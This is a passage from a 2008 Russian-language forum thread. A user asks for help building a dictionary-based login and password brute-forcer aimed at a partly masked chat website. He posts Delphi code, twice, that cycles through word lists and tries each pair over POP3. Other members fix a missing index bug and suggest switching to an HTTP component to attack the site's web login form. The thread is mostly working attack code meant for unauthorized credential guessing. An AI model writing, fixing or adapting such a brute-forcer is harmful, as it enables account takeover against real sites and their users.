Перебор паролей и Логинов на сайтье
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Перебор паролей и Логинов на сайтье - 2008-11-04 15:40:19.993333
|
|
|
Endruy
Сообщений: 6
Оценки: 0
Присоединился: 2008-10-25 12:39:38.600000
|
Здраствуйтье уважаемые Программисты, и Хакеры.
Мне вот нужна ваша помощь по написанию программы которая бы подбирала пароли и логины по словарям к сайтам ну или к чатам форумам.
Вот к примеру имеем http://wap.*****.ru/chat/
Каким компонентом это нужно делать?
Я вот пробывал написать так но ничо не получилось:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
// Масив строк.
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
// Загрузка Словарей с - Логины, Пароли,
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
// Адрес и порт сервера.
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt (PortEdit.Text);
// Перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
// Передача имени и пароля
IdPOP.UserID :=LoginStrings.Strings ;
IdPOP.Password :=PassStrings.Strings [j];
// Соединения (Попытка)
try
IdPOP.Connect;
except
end;
//Сообщения выводим если соединения произошло.
if IdPOP.Connected then
begin
// Показываем найденный пароль и логин.
Application.MessageBox(PChar('Имя: '+LoginStrings.Strings +
'Пароль: '+PassStrings.Strings [j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end;
// Уничтожение масивов
LoginStrings.Free;
PassStrings.Free;
end;
На форме главной и единственной я имею такие компоненты:
TEdit - 4шт.
TButton - 1
TIdAntiFreeze - 1
TIdPOP3 - 1
Вообщем помогитье мне!
Спасибо.
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 15:55:46.526666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Юзай теги code для вставки кода. Неудобно читать.
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 16:02:29.103333
|
|
|
Endruy
Сообщений: 6
Оценки: 0
Присоединился: 2008-10-25 12:39:38.600000
|
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
// Масив строк.
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
// Загрузка Словарей с - Логины, Пароли,
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
// Адрес и порт сервера.
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt (PortEdit.Text);
// Перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
// Передача имени и пароля
IdPOP.UserID :=LoginStrings.Strings ;
IdPOP.Password :=PassStrings.Strings [j];
// Соединения (Попытка)
try
IdPOP.Connect;
except
end;
//Сообщения выводим если соединения произошло.
if IdPOP.Connected then
begin
// Показываем найденный пароль и логин.
Application.MessageBox(PChar('Имя: '+LoginStrings.Strings +
'Пароль: '+PassStrings.Strings [j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end;
// Уничтожение масивов
LoginStrings.Free;
PassStrings.Free;
end;
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 16:28:34.400000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
// Передача имени и пароля
IdPOP.UserID :=LoginStrings.Strings ; // ошибка
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 16:44:48.116666
|
|
|
Endruy
Сообщений: 6
Оценки: 0
Присоединился: 2008-10-25 12:39:38.600000
|
Хм…. А почему это ошибка?
Чото я ничо не пойму!!!! :(
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 16:51:26.026666
|
|
|
Endruy
Сообщений: 6
Оценки: 0
Присоединился: 2008-10-25 12:39:38.600000
|
А может не компонент TIdPOP3 тут нужно использовать?
Ведь мне нужно перебор логинов и паролей на страницу html порт 80 стоит ворма пароля и логина стандартна.
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 17:00:44.430000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
IdPOP.UserID :=LoginStrings.Strings[i]; // индекс забыл
|
|
|
|
|
RE: Перебор паролей и Логинов на сайтье - 2008-11-04 17:05:56.916666
|
|
|
JTG
Сообщений: 1189
Оценки: 0
Присоединился: 2007-03-05 11:56:01.993333
|
юзай idHttr
|
|
|
|
|
|
